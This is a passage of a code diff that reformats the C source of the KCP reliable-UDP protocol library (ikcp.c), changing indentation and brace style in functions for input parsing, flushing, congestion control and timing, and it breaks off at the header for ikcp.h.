ikcp_segment_delete(kcp, newseg); - return; - } + struct IQUEUEHEAD *p, *prev; + IUINT32 sn = newseg->sn; + int repeat = 0; - for (p = kcp->rcv_buf.prev; p != &kcp->rcv_buf; p = prev) { - IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); - prev = p->prev; - if (seg->sn == sn) { - repeat = 1; - break; - } - if (_itimediff(sn, seg->sn) > 0) { - break; - } - } + if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) >= 0 || + _itimediff(sn, kcp->rcv_nxt) < 0) { + ikcp_segment_delete(kcp, newseg); + return; + } - if (repeat == 0) { - iqueue_init(&newseg->node); - iqueue_add(&newseg->node, p); - kcp->nrcv_buf++; - } else { - ikcp_segment_delete(kcp, newseg); - } + for (p = kcp->rcv_buf.prev; p != &kcp->rcv_buf; p = prev) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + prev = p->prev; + if (seg->sn == sn) { + repeat = 1; + break; + } + if (_itimediff(sn, seg->sn) > 0) { + break; + } + } + + if (repeat == 0) { + iqueue_init(&newseg->node); + iqueue_add(&newseg->node, p); + kcp->nrcv_buf++; + } else { + ikcp_segment_delete(kcp, newseg); + } #if 0 - ikcp_qprint("rcvbuf", &kcp->rcv_buf); - printf("rcv_nxt=%lu\n", kcp->rcv_nxt); + ikcp_qprint("rcvbuf", &kcp->rcv_buf); + printf("rcv_nxt=%lu\n", kcp->rcv_nxt); #endif - // move available data from rcv_buf -> rcv_queue - while (! iqueue_is_empty(&kcp->rcv_buf)) { - IKCPSEG *seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); - if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { - iqueue_del(&seg->node); - kcp->nrcv_buf--; - iqueue_add_tail(&seg->node, &kcp->rcv_queue); - kcp->nrcv_que++; - kcp->rcv_nxt++; - } else { - break; - } - } + // move available data from rcv_buf -> rcv_queue + while (! iqueue_is_empty(&kcp->rcv_buf)) { + IKCPSEG *seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { + iqueue_del(&seg->node); + kcp->nrcv_buf--; + iqueue_add_tail(&seg->node, &kcp->rcv_queue); + kcp->nrcv_que++; + kcp->rcv_nxt++; + } else { + break; + } + } #if 0 - ikcp_qprint("queue", &kcp->rcv_queue); - printf("rcv_nxt=%lu\n", kcp->rcv_nxt); + ikcp_qprint("queue", &kcp->rcv_queue); + printf("rcv_nxt=%lu\n", kcp->rcv_nxt); #endif #if 1 @@ -748,155 +751,151 @@ void ikcp_parse_data(ikcpcb *kcp, IKCPSEG *newseg) //--------------------------------------------------------------------- int ikcp_input(ikcpcb *kcp, const char *data, long size) { - IUINT32 prev_una = kcp->snd_una; - IUINT32 maxack = 0, latest_ts = 0; - int flag = 0; + IUINT32 prev_una = kcp->snd_una; + IUINT32 maxack = 0, latest_ts = 0; + int flag = 0; - if (ikcp_canlog(kcp, IKCP_LOG_INPUT)) { - ikcp_log(kcp, IKCP_LOG_INPUT, "[RI] %d bytes", (int)size); - } + if (ikcp_canlog(kcp, IKCP_LOG_INPUT)) { + ikcp_log(kcp, IKCP_LOG_INPUT, "[RI] %d bytes", (int)size); + } - if (data == NULL || (int)size < (int)IKCP_OVERHEAD) return -1; + if (data == NULL || (int)size < (int)IKCP_OVERHEAD) return -1; - while (1) { - IUINT32 ts, sn, len, una, conv; - IUINT16 wnd; - IUINT8 cmd, frg; - IKCPSEG *seg; + while (1) { + IUINT32 ts, sn, len, una, conv; + IUINT16 wnd; + IUINT8 cmd, frg; + IKCPSEG *seg; - if (size < (int)IKCP_OVERHEAD) break; + if (size < (int)IKCP_OVERHEAD) break; - data = ikcp_decode32u(data, &conv); - if (conv != kcp->conv) return -1; + data = ikcp_decode32u(data, &conv); + if (conv != kcp->conv) return -1; - data = ikcp_decode8u(data, &cmd); - data = ikcp_decode8u(data, &frg); - data = ikcp_decode16u(data, &wnd); - data = ikcp_decode32u(data, &ts); - data = ikcp_decode32u(data, &sn); - data = ikcp_decode32u(data, &una); - data = ikcp_decode32u(data, &len); + data = ikcp_decode8u(data, &cmd); + data = ikcp_decode8u(data, &frg); + data = ikcp_decode16u(data, &wnd); + data = ikcp_decode32u(data, &ts); + data = ikcp_decode32u(data, &sn); + data = ikcp_decode32u(data, &una); + data = ikcp_decode32u(data, &len); - size -= IKCP_OVERHEAD; + size -= IKCP_OVERHEAD; - if ((long)size < (long)len || (int)len < 0) return -2; + if ((long)size < (long)len || (int)len < 0) return -2; - if (cmd != IKCP_CMD_PUSH && cmd != IKCP_CMD_ACK && - cmd != IKCP_CMD_WASK && cmd != IKCP_CMD_WINS) - return -3; + if (cmd != IKCP_CMD_PUSH && cmd != IKCP_CMD_ACK && + cmd != IKCP_CMD_WASK && cmd != IKCP_CMD_WINS) + return -3; - kcp->rmt_wnd = wnd; - ikcp_parse_una(kcp, una); - ikcp_shrink_buf(kcp); + kcp->rmt_wnd = wnd; + ikcp_parse_una(kcp, una); + ikcp_shrink_buf(kcp); - if (cmd == IKCP_CMD_ACK) { - if (_itimediff(kcp->current, ts) >= 0) { - ikcp_update_ack(kcp, _itimediff(kcp->current, ts)); - } - ikcp_parse_ack(kcp, sn); - ikcp_shrink_buf(kcp); - if (flag == 0) { - flag = 1; - maxack = sn; - latest_ts = ts; - } else { - if (_itimediff(sn, maxack) > 0) { - #ifndef IKCP_FASTACK_CONSERVE - maxack = sn; - latest_ts = ts; - #else - if (_itimediff(ts, latest_ts) > 0) { - maxack = sn; - latest_ts = ts; - } - #endif - } - } - if (ikcp_canlog(kcp, IKCP_LOG_IN_ACK)) { - ikcp_log(kcp, IKCP_LOG_IN_ACK, - "input ack: sn=%lu rtt=%ld rto=%ld", (unsigned long)sn, - (long)_itimediff(kcp->current, ts), - (long)kcp->rx_rto); - } - } - else if (cmd == IKCP_CMD_PUSH) { - if (ikcp_canlog(kcp, IKCP_LOG_IN_DATA)) { - ikcp_log(kcp, IKCP_LOG_IN_DATA, - "input psh: sn=%lu ts=%lu", (unsigned long)sn, (unsigned long)ts); - } - if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) < 0) { - ikcp_ack_push(kcp, sn, ts); - if (_itimediff(sn, kcp->rcv_nxt) >= 0) { - seg = ikcp_segment_new(kcp, len); - seg->conv = conv; - seg->cmd = cmd; - seg->frg = frg; - seg->wnd = wnd; - seg->ts = ts; - seg->sn = sn; - seg->una = una; - seg->len = len; + if (cmd == IKCP_CMD_ACK) { + if (_itimediff(kcp->current, ts) >= 0) { + ikcp_update_ack(kcp, _itimediff(kcp->current, ts)); + } + ikcp_parse_ack(kcp, sn); + ikcp_shrink_buf(kcp); + if (flag == 0) { + flag = 1; + maxack = sn; + latest_ts = ts; + } else { + if (_itimediff(sn, maxack) > 0) { +#ifndef IKCP_FASTACK_CONSERVE + maxack = sn; + latest_ts = ts; +#else + if (_itimediff(ts, latest_ts) > 0) { + maxack = sn; + latest_ts = ts; + } +#endif + } + } + if (ikcp_canlog(kcp, IKCP_LOG_IN_ACK)) { + ikcp_log(kcp, IKCP_LOG_IN_ACK, + "input ack: sn=%lu rtt=%ld rto=%ld", (unsigned long)sn, + (long)_itimediff(kcp->current, ts), + (long)kcp->rx_rto); + } + } else if (cmd == IKCP_CMD_PUSH) { + if (ikcp_canlog(kcp, IKCP_LOG_IN_DATA)) { + ikcp_log(kcp, IKCP_LOG_IN_DATA, + "input psh: sn=%lu ts=%lu", (unsigned long)sn, (unsigned long)ts); + } + if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) < 0) { + ikcp_ack_push(kcp, sn, ts); + if (_itimediff(sn, kcp->rcv_nxt) >= 0) { + seg = ikcp_segment_new(kcp, len); + seg->conv = conv; + seg->cmd = cmd; + seg->frg = frg; + seg->wnd = wnd; + seg->ts = ts; + seg->sn = sn; + seg->una = una; + seg->len = len; - if (len > 0) { - memcpy(seg->data, data, len); - } + if (len > 0) { + memcpy(seg->data, data, len); + } - ikcp_parse_data(kcp, seg); - } - } - } - else if (cmd == IKCP_CMD_WASK) { - // ready to send back IKCP_CMD_WINS in ikcp_flush - // tell remote my window size - kcp->probe |= IKCP_ASK_TELL; - if (ikcp_canlog(kcp, IKCP_LOG_IN_PROBE)) { - ikcp_log(kcp, IKCP_LOG_IN_PROBE, "input probe"); - } - } - else if (cmd == IKCP_CMD_WINS) { - // do nothing - if (ikcp_canlog(kcp, IKCP_LOG_IN_WINS)) { - ikcp_log(kcp, IKCP_LOG_IN_WINS, - "input wins: %lu", (unsigned long)(wnd)); - } - } - else { - return -3; - } + ikcp_parse_data(kcp, seg); + } + } + } else if (cmd == IKCP_CMD_WASK) { + // ready to send back IKCP_CMD_WINS in ikcp_flush + // tell remote my window size + kcp->probe |= IKCP_ASK_TELL; + if (ikcp_canlog(kcp, IKCP_LOG_IN_PROBE)) { + ikcp_log(kcp, IKCP_LOG_IN_PROBE, "input probe"); + } + } else if (cmd == IKCP_CMD_WINS) { + // do nothing + if (ikcp_canlog(kcp, IKCP_LOG_IN_WINS)) { + ikcp_log(kcp, IKCP_LOG_IN_WINS, + "input wins: %lu", (unsigned long)(wnd)); + } + } else { + return -3; + } - data += len; - size -= len; - } + data += len; + size -= len; + } - if (flag != 0) { - ikcp_parse_fastack(kcp, maxack, latest_ts); - } + if (flag != 0) { + ikcp_parse_fastack(kcp, maxack, latest_ts); + } - if (_itimediff(kcp->snd_una, prev_una) > 0) { - if (kcp->cwnd < kcp->rmt_wnd) { - IUINT32 mss = kcp->mss; - if (kcp->cwnd < kcp->ssthresh) { - kcp->cwnd++; - kcp->incr += mss; - } else { - if (kcp->incr < mss) kcp->incr = mss; - kcp->incr += (mss * mss) / kcp->incr + (mss / 16); - if ((kcp->cwnd + 1) * mss <= kcp->incr) { - #if 1 - kcp->cwnd = (kcp->incr + mss - 1) / ((mss > 0)? mss : 1); - #else - kcp->cwnd++; - #endif - } - } - if (kcp->cwnd > kcp->rmt_wnd) { - kcp->cwnd = kcp->rmt_wnd; - kcp->incr = kcp->rmt_wnd * mss; - } - } - } + if (_itimediff(kcp->snd_una, prev_una) > 0) { + if (kcp->cwnd < kcp->rmt_wnd) { + IUINT32 mss = kcp->mss; + if (kcp->cwnd < kcp->ssthresh) { + kcp->cwnd++; + kcp->incr += mss; + } else { + if (kcp->incr < mss) kcp->incr = mss; + kcp->incr += (mss * mss) / kcp->incr + (mss / 16); + if ((kcp->cwnd + 1) * mss <= kcp->incr) { +#if 1 + kcp->cwnd = (kcp->incr + mss - 1) / ((mss > 0)? mss : 1); +#else + kcp->cwnd++; +#endif + } + } + if (kcp->cwnd > kcp->rmt_wnd) { + kcp->cwnd = kcp->rmt_wnd; + kcp->incr = kcp->rmt_wnd * mss; + } + } + } - return 0; + return 0; } @@ -905,23 +904,23 @@ int ikcp_input(ikcpcb *kcp, const char *data, long size) //--------------------------------------------------------------------- static char *ikcp_encode_seg(char *ptr, const IKCPSEG *seg) { - ptr = ikcp_encode32u(ptr, seg->conv); - ptr = ikcp_encode8u(ptr, (IUINT8)seg->cmd); - ptr = ikcp_encode8u(ptr, (IUINT8)seg->frg); - ptr = ikcp_encode16u(ptr, (IUINT16)seg->wnd); - ptr = ikcp_encode32u(ptr, seg->ts); - ptr = ikcp_encode32u(ptr, seg->sn); - ptr = ikcp_encode32u(ptr, seg->una); - ptr = ikcp_encode32u(ptr, seg->len); - return ptr; + ptr = ikcp_encode32u(ptr, seg->conv); + ptr = ikcp_encode8u(ptr, (IUINT8)seg->cmd); + ptr = ikcp_encode8u(ptr, (IUINT8)seg->frg); + ptr = ikcp_encode16u(ptr, (IUINT16)seg->wnd); + ptr = ikcp_encode32u(ptr, seg->ts); + ptr = ikcp_encode32u(ptr, seg->sn); + ptr = ikcp_encode32u(ptr, seg->una); + ptr = ikcp_encode32u(ptr, seg->len); + return ptr; } static int ikcp_wnd_unused(const ikcpcb *kcp) { - if (kcp->nrcv_que < kcp->rcv_wnd) { - return kcp->rcv_wnd - kcp->nrcv_que; - } - return 0; + if (kcp->nrcv_que < kcp->rcv_wnd) { + return kcp->rcv_wnd - kcp->nrcv_que; + } + return 0; } @@ -930,370 +929,366 @@ static int ikcp_wnd_unused(const ikcpcb *kcp) //--------------------------------------------------------------------- void ikcp_flush(ikcpcb *kcp) { - IUINT32 current = kcp->current; - char *buffer = kcp->buffer; - char *ptr = buffer; - int count, size, i; - IUINT32 resent, cwnd; - IUINT32 rtomin; - struct IQUEUEHEAD *p; - int change = 0; - int lost = 0; - IKCPSEG seg; + IUINT32 current = kcp->current; + char *buffer = kcp->buffer; + char *ptr = buffer; + int count, size, i; + IUINT32 resent, cwnd; + IUINT32 rtomin; + struct IQUEUEHEAD *p; + int change = 0; + int lost = 0; + IKCPSEG seg; - // 'ikcp_update' haven't been called. - if (kcp->updated == 0) return; + // 'ikcp_update' haven't been called. + if (kcp->updated == 0) return; - seg.conv = kcp->conv; - seg.cmd = IKCP_CMD_ACK; - seg.frg = 0; - seg.wnd = ikcp_wnd_unused(kcp); - seg.una = kcp->rcv_nxt; - seg.len = 0; - seg.sn = 0; - seg.ts = 0; + seg.conv = kcp->conv; + seg.cmd = IKCP_CMD_ACK; + seg.frg = 0; + seg.wnd = ikcp_wnd_unused(kcp); + seg.una = kcp->rcv_nxt; + seg.len = 0; + seg.sn = 0; + seg.ts = 0; - // flush acknowledges - count = kcp->ackcount; - for (i = 0; i < count; i++) { - size = (int)(ptr - buffer); - if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { - ikcp_output(kcp, buffer, size); - ptr = buffer; - } - ikcp_ack_get(kcp, i, &seg.sn, &seg.ts); - ptr = ikcp_encode_seg(ptr, &seg); - } + // flush acknowledges + count = kcp->ackcount; + for (i = 0; i < count; i++) { + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ikcp_ack_get(kcp, i, &seg.sn, &seg.ts); + ptr = ikcp_encode_seg(ptr, &seg); + } - kcp->ackcount = 0; + kcp->ackcount = 0; - // probe window size (if remote window size equals zero) - if (kcp->rmt_wnd == 0) { - if (kcp->probe_wait == 0) { - kcp->probe_wait = IKCP_PROBE_INIT; - kcp->ts_probe = kcp->current + kcp->probe_wait; - } - else { - if (_itimediff(kcp->current, kcp->ts_probe) >= 0) { - if (kcp->probe_wait < IKCP_PROBE_INIT) - kcp->probe_wait = IKCP_PROBE_INIT; - kcp->probe_wait += kcp->probe_wait / 2; - if (kcp->probe_wait > IKCP_PROBE_LIMIT) - kcp->probe_wait = IKCP_PROBE_LIMIT; - kcp->ts_probe = kcp->current + kcp->probe_wait; - kcp->probe |= IKCP_ASK_SEND; - } - } - } else { - kcp->ts_probe = 0; - kcp->probe_wait = 0; - } + // probe window size (if remote window size equals zero) + if (kcp->rmt_wnd == 0) { + if (kcp->probe_wait == 0) { + kcp->probe_wait = IKCP_PROBE_INIT; + kcp->ts_probe = kcp->current + kcp->probe_wait; + } else { + if (_itimediff(kcp->current, kcp->ts_probe) >= 0) { + if (kcp->probe_wait < IKCP_PROBE_INIT) + kcp->probe_wait = IKCP_PROBE_INIT; + kcp->probe_wait += kcp->probe_wait / 2; + if (kcp->probe_wait > IKCP_PROBE_LIMIT) + kcp->probe_wait = IKCP_PROBE_LIMIT; + kcp->ts_probe = kcp->current + kcp->probe_wait; + kcp->probe |= IKCP_ASK_SEND; + } + } + } else { + kcp->ts_probe = 0; + kcp->probe_wait = 0; + } - // flush window probing commands - if (kcp->probe & IKCP_ASK_SEND) { - seg.cmd = IKCP_CMD_WASK; - size = (int)(ptr - buffer); - if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { - ikcp_output(kcp, buffer, size); - ptr = buffer; - } - ptr = ikcp_encode_seg(ptr, &seg); - } + // flush window probing commands + if (kcp->probe & IKCP_ASK_SEND) { + seg.cmd = IKCP_CMD_WASK; + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ptr = ikcp_encode_seg(ptr, &seg); + } - // flush window probing commands - if (kcp->probe & IKCP_ASK_TELL) { - seg.cmd = IKCP_CMD_WINS; - size = (int)(ptr - buffer); - if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { - ikcp_output(kcp, buffer, size); - ptr = buffer; - } - ptr = ikcp_encode_seg(ptr, &seg); - } + // flush window probing commands + if (kcp->probe & IKCP_ASK_TELL) { + seg.cmd = IKCP_CMD_WINS; + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ptr = ikcp_encode_seg(ptr, &seg); + } - kcp->probe = 0; + kcp->probe = 0; - // calculate window size - cwnd = _imin_(kcp->snd_wnd, kcp->rmt_wnd); - if (kcp->nocwnd == 0) cwnd = _imin_(kcp->cwnd, cwnd); + // calculate window size + cwnd = _imin_(kcp->snd_wnd, kcp->rmt_wnd); + if (kcp->nocwnd == 0) cwnd = _imin_(kcp->cwnd, cwnd); - // move data from snd_queue to snd_buf - while (_itimediff(kcp->snd_nxt, kcp->snd_una + cwnd) < 0) { - IKCPSEG *newseg; - if (iqueue_is_empty(&kcp->snd_queue)) break; + // move data from snd_queue to snd_buf + while (_itimediff(kcp->snd_nxt, kcp->snd_una + cwnd) < 0) { + IKCPSEG *newseg; + if (iqueue_is_empty(&kcp->snd_queue)) break; - newseg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); + newseg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); - iqueue_del(&newseg->node); - iqueue_add_tail(&newseg->node, &kcp->snd_buf); - kcp->nsnd_que--; - kcp->nsnd_buf++; + iqueue_del(&newseg->node); + iqueue_add_tail(&newseg->node, &kcp->snd_buf); + kcp->nsnd_que--; + kcp->nsnd_buf++; - newseg->conv = kcp->conv; - newseg->cmd = IKCP_CMD_PUSH; - newseg->wnd = seg.wnd; - newseg->ts = current; - newseg->sn = kcp->snd_nxt++; - newseg->una = kcp->rcv_nxt; - newseg->resendts = current; - newseg->rto = kcp->rx_rto; - newseg->fastack = 0; - newseg->xmit = 0; - } + newseg->conv = kcp->conv; + newseg->cmd = IKCP_CMD_PUSH; + newseg->wnd = seg.wnd; + newseg->ts = current; + newseg->sn = kcp->snd_nxt++; + newseg->una = kcp->rcv_nxt; + newseg->resendts = current; + newseg->rto = kcp->rx_rto; + newseg->fastack = 0; + newseg->xmit = 0; + } - // calculate resent - resent = (kcp->fastresend > 0)? (IUINT32)kcp->fastresend : 0xffffffff; - rtomin = (kcp->nodelay == 0)? (kcp->rx_rto >> 3) : 0; + // calculate resent + resent = (kcp->fastresend > 0)? (IUINT32)kcp->fastresend : 0xffffffff; + rtomin = (kcp->nodelay == 0)? (kcp->rx_rto >> 3) : 0; - // flush data segments - for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { - IKCPSEG *segment = iqueue_entry(p, IKCPSEG, node); - int needsend = 0; - if (segment->xmit == 0) { - needsend = 1; - segment->xmit++; - segment->rto = kcp->rx_rto; - segment->resendts = current + segment->rto + rtomin; - } - else if (_itimediff(current, segment->resendts) >= 0) { - needsend = 1; - segment->xmit++; - kcp->xmit++; - if (kcp->nodelay == 0) { - segment->rto += _imax_(segment->rto, (IUINT32)kcp->rx_rto); - } else { - IINT32 step = (kcp->nodelay < 2)? - ((IINT32)(segment->rto)) : kcp->rx_rto; - segment->rto += step / 2; - } - segment->resendts = current + segment->rto; - lost = 1; - } - else if (segment->fastack >= resent) { - if ((int)segment->xmit <= kcp->fastlimit || - kcp->fastlimit <= 0) { - needsend = 1; - segment->xmit++; - segment->fastack = 0; - segment->resendts = current + segment->rto; - change++; - } - } + // flush data segments + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { + IKCPSEG *segment = iqueue_entry(p, IKCPSEG, node); + int needsend = 0; + if (segment->xmit == 0) { + needsend = 1; + segment->xmit++; + segment->rto = kcp->rx_rto; + segment->resendts = current + segment->rto + rtomin; + } else if (_itimediff(current, segment->resendts) >= 0) { + needsend = 1; + segment->xmit++; + kcp->xmit++; + if (kcp->nodelay == 0) { + segment->rto += _imax_(segment->rto, (IUINT32)kcp->rx_rto); + } else { + IINT32 step = (kcp->nodelay < 2)? + ((IINT32)(segment->rto)) : kcp->rx_rto; + segment->rto += step / 2; + } + segment->resendts = current + segment->rto; + lost = 1; + } else if (segment->fastack >= resent) { + if ((int)segment->xmit <= kcp->fastlimit || + kcp->fastlimit <= 0) { + needsend = 1; + segment->xmit++; + segment->fastack = 0; + segment->resendts = current + segment->rto; + change++; + } + } - if (needsend) { - int need; - segment->ts = current; - segment->wnd = seg.wnd; - segment->una = kcp->rcv_nxt; + if (needsend) { + int need; + segment->ts = current; + segment->wnd = seg.wnd; + segment->una = kcp->rcv_nxt; - size = (int)(ptr - buffer); - need = IKCP_OVERHEAD + segment->len; + size = (int)(ptr - buffer); + need = IKCP_OVERHEAD + segment->len; - if (size + need > (int)kcp->mtu) { - ikcp_output(kcp, buffer, size); - ptr = buffer; - } + if (size + need > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } - ptr = ikcp_encode_seg(ptr, segment); + ptr = ikcp_encode_seg(ptr, segment); - if (segment->len > 0) { - memcpy(ptr, segment->data, segment->len); - ptr += segment->len; - } + if (segment->len > 0) { + memcpy(ptr, segment->data, segment->len); + ptr += segment->len; + } - if (segment->xmit >= kcp->dead_link) { - kcp->state = (IUINT32)-1; - } - } - } + if (segment->xmit >= kcp->dead_link) { + kcp->state = (IUINT32)-1; + } + } + } - // flash remain segments - size = (int)(ptr - buffer); - if (size > 0) { - ikcp_output(kcp, buffer, size); - } + // flash remain segments + size = (int)(ptr - buffer); + if (size > 0) { + ikcp_output(kcp, buffer, size); + } - // update ssthresh - if (change) { - IUINT32 inflight = kcp->snd_nxt - kcp->snd_una; - kcp->ssthresh = inflight / 2; - if (kcp->ssthresh < IKCP_THRESH_MIN) - kcp->ssthresh = IKCP_THRESH_MIN; - kcp->cwnd = kcp->ssthresh + resent; - kcp->incr = kcp->cwnd * kcp->mss; - } + // update ssthresh + if (change) { + IUINT32 inflight = kcp->snd_nxt - kcp->snd_una; + kcp->ssthresh = inflight / 2; + if (kcp->ssthresh < IKCP_THRESH_MIN) + kcp->ssthresh = IKCP_THRESH_MIN; + kcp->cwnd = kcp->ssthresh + resent; + kcp->incr = kcp->cwnd * kcp->mss; + } - if (lost) { - kcp->ssthresh = cwnd / 2; - if (kcp->ssthresh < IKCP_THRESH_MIN) - kcp->ssthresh = IKCP_THRESH_MIN; - kcp->cwnd = 1; - kcp->incr = kcp->mss; - } + if (lost) { + kcp->ssthresh = cwnd / 2; + if (kcp->ssthresh < IKCP_THRESH_MIN) + kcp->ssthresh = IKCP_THRESH_MIN; + kcp->cwnd = 1; + kcp->incr = kcp->mss; + } - if (kcp->cwnd < 1) { - kcp->cwnd = 1; - kcp->incr = kcp->mss; - } + if (kcp->cwnd < 1) { + kcp->cwnd = 1; + kcp->incr = kcp->mss; + } } //--------------------------------------------------------------------- -// update state (call it repeatedly, every 10ms-100ms), or you can ask +// update state (call it repeatedly, every 10ms-100ms), or you can ask // ikcp_check when to call it again (without ikcp_input/_send calling). -// 'current' - current timestamp in millisec. +// 'current' - current timestamp in millisec. //--------------------------------------------------------------------- void ikcp_update(ikcpcb *kcp, IUINT32 current) { - IINT32 slap; + IINT32 slap; - kcp->current = current; + kcp->current = current; - if (kcp->updated == 0) { - kcp->updated = 1; - kcp->ts_flush = kcp->current; - } + if (kcp->updated == 0) { + kcp->updated = 1; + kcp->ts_flush = kcp->current; + } - slap = _itimediff(kcp->current, kcp->ts_flush); + slap = _itimediff(kcp->current, kcp->ts_flush); - if (slap >= 10000 || slap < -10000) { - kcp->ts_flush = kcp->current; - slap = 0; - } + if (slap >= 10000 || slap < -10000) { + kcp->ts_flush = kcp->current; + slap = 0; + } - if (slap >= 0) { - kcp->ts_flush += kcp->interval; - if (_itimediff(kcp->current, kcp->ts_flush) >= 0) { - kcp->ts_flush = kcp->current + kcp->interval; - } - ikcp_flush(kcp); - } + if (slap >= 0) { + kcp->ts_flush += kcp->interval; + if (_itimediff(kcp->current, kcp->ts_flush) >= 0) { + kcp->ts_flush = kcp->current + kcp->interval; + } + ikcp_flush(kcp); + } } //--------------------------------------------------------------------- // Determine when should you invoke ikcp_update: -// returns when you should invoke ikcp_update in millisec, if there +// returns when you should invoke ikcp_update in millisec, if there // is no ikcp_input/_send calling. you can call ikcp_update in that // time, instead of call update repeatly. -// Important to reduce unnacessary ikcp_update invoking. use it to -// schedule ikcp_update (eg. implementing an epoll-like mechanism, +// Important to reduce unnacessary ikcp_update invoking. use it to +// schedule ikcp_update (eg. implementing an epoll-like mechanism, // or optimize ikcp_update when handling massive kcp connections) //--------------------------------------------------------------------- IUINT32 ikcp_check(const ikcpcb *kcp, IUINT32 current) { - IUINT32 ts_flush = kcp->ts_flush; - IINT32 tm_flush = 0x7fffffff; - IINT32 tm_packet = 0x7fffffff; - IUINT32 minimal = 0; - struct IQUEUEHEAD *p; + IUINT32 ts_flush = kcp->ts_flush; + IINT32 tm_flush = 0x7fffffff; + IINT32 tm_packet = 0x7fffffff; + IUINT32 minimal = 0; + struct IQUEUEHEAD *p; - if (kcp->updated == 0) { - return current; - } + if (kcp->updated == 0) { + return current; + } - if (_itimediff(current, ts_flush) >= 10000 || - _itimediff(current, ts_flush) < -10000) { - ts_flush = current; - } + if (_itimediff(current, ts_flush) >= 10000 || + _itimediff(current, ts_flush) < -10000) { + ts_flush = current; + } - if (_itimediff(current, ts_flush) >= 0) { - return current; - } + if (_itimediff(current, ts_flush) >= 0) { + return current; + } - tm_flush = _itimediff(ts_flush, current); + tm_flush = _itimediff(ts_flush, current); - for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { - const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); - IINT32 diff = _itimediff(seg->resendts, current); - if (diff <= 0) { - return current; - } - if (diff < tm_packet) tm_packet = diff; - } + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { + const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); + IINT32 diff = _itimediff(seg->resendts, current); + if (diff <= 0) { + return current; + } + if (diff < tm_packet) tm_packet = diff; + } - minimal = (IUINT32)(tm_packet < tm_flush ? tm_packet : tm_flush); - if (minimal >= kcp->interval) minimal = kcp->interval; + minimal = (IUINT32)(tm_packet < tm_flush ? tm_packet : tm_flush); + if (minimal >= kcp->interval) minimal = kcp->interval; - return current + minimal; + return current + minimal; } int ikcp_setmtu(ikcpcb *kcp, int mtu) { - char *buffer; - if (mtu < 50 || mtu < (int)IKCP_OVERHEAD) - return -1; - buffer = (char*)ikcp_malloc((mtu + IKCP_OVERHEAD) * 3); - if (buffer == NULL) - return -2; - kcp->mtu = mtu; - kcp->mss = kcp->mtu - IKCP_OVERHEAD; - ikcp_free(kcp->buffer); - kcp->buffer = buffer; - return 0; + char *buffer; + if (mtu < 50 || mtu < (int)IKCP_OVERHEAD) + return -1; + buffer = (char*)ikcp_malloc((mtu + IKCP_OVERHEAD) * 3); + if (buffer == NULL) + return -2; + kcp->mtu = mtu; + kcp->mss = kcp->mtu - IKCP_OVERHEAD; + ikcp_free(kcp->buffer); + kcp->buffer = buffer; + return 0; } int ikcp_interval(ikcpcb *kcp, int interval) { - if (interval > 5000) interval = 5000; - else if (interval < 10) interval = 10; - kcp->interval = interval; - return 0; + if (interval > 5000) interval = 5000; + else if (interval < 10) interval = 10; + kcp->interval = interval; + return 0; } int ikcp_nodelay(ikcpcb *kcp, int nodelay, int interval, int resend, int nc) { - if (nodelay >= 0) { - kcp->nodelay = nodelay; - if (nodelay) { - kcp->rx_minrto = IKCP_RTO_NDL; - } - else { - kcp->rx_minrto = IKCP_RTO_MIN; - } - } - if (interval >= 0) { - if (interval > 5000) interval = 5000; - else if (interval < 10) interval = 10; - kcp->interval = interval; - } - if (resend >= 0) { - kcp->fastresend = resend; - } - if (nc >= 0) { - kcp->nocwnd = nc; - } - return 0; + if (nodelay >= 0) { + kcp->nodelay = nodelay; + if (nodelay) { + kcp->rx_minrto = IKCP_RTO_NDL; + } else { + kcp->rx_minrto = IKCP_RTO_MIN; + } + } + if (interval >= 0) { + if (interval > 5000) interval = 5000; + else if (interval < 10) interval = 10; + kcp->interval = interval; + } + if (resend >= 0) { + kcp->fastresend = resend; + } + if (nc >= 0) { + kcp->nocwnd = nc; + } + return 0; } int ikcp_wndsize(ikcpcb *kcp, int sndwnd, int rcvwnd) { - if (kcp) { - if (sndwnd > 0) { - kcp->snd_wnd = sndwnd; - } - if (rcvwnd > 0) { // must >= max fragment size - kcp->rcv_wnd = _imax_(rcvwnd, IKCP_WND_RCV); - } - } - return 0; + if (kcp) { + if (sndwnd > 0) { + kcp->snd_wnd = sndwnd; + } + if (rcvwnd > 0) { // must >= max fragment size + kcp->rcv_wnd = _imax_(rcvwnd, IKCP_WND_RCV); + } + } + return 0; } int ikcp_waitsnd(const ikcpcb *kcp) { - return kcp->nsnd_buf + kcp->nsnd_que; + return kcp->nsnd_buf + kcp->nsnd_que; } // read conv IUINT32 ikcp_getconv(const void *ptr) { - IUINT32 conv; - ikcp_decode32u((const char*)ptr, &conv); - return conv; + IUINT32 conv; + ikcp_decode32u((const char*)ptr, &conv); + return conv; } diff --git a/common/ikcp.h b/common/ikcp.h index b8c337f..250c70e 100644 --- a/common/ikcp.h +++ 